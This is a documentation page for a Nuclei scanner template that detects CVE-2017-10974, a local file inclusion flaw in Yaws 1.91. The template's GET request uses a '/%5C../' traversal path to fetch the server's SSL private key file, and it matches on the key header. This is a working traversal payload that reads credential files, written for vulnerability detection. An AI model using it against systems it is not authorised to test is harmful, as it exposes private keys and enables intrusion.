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Nuclei Templates

Yaws 1.91 - Local File Inclusion

ID: CVE-2017-10974

Severity: high

Author: 0x_Akoko

Tags: cve,cve2017,edb,yaws,lfi

Description

Section titled “Description”

Yaws 1.91 allows unauthenticated local file inclusion via /%5C../ submitted to port 8080.

YAML Source

Section titled “YAML Source”
id: CVE-2017-10974


info:
  name: Yaws 1.91 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Yaws 1.91 allows unauthenticated local file inclusion via  /%5C../ submitted to port 8080.
  impact: |
    The vulnerability allows an attacker to include local files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to a patched version of Yaws or apply the necessary security patches.
  reference:
    - https://www.exploit-db.com/exploits/42303
    - https://nvd.nist.gov/vuln/detail/CVE-2017-10974
    - http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt
    - https://www.exploit-db.com/exploits/42303/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-10974
    cwe-id: CWE-22
    epss-score: 0.96161
    epss-percentile: 0.9947
    cpe: cpe:2.3:a:yaws:yaws:1.91:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yaws
    product: yaws
  tags: cve,cve2017,edb,yaws,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/%5C../ssl/yaws-key.pem"


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - '!contains(tolower(body), "<html")'


      - type: word
        words:
          - "BEGIN RSA PRIVATE KEY"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100903260cf187e865e1ab6c552ca23ac8c4abb586793827b2ad8d9026095eaa0430220361bc2662db0904e383bd504c63da69c590ca1c1d2be4693652810036f88539f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-10974.yaml"

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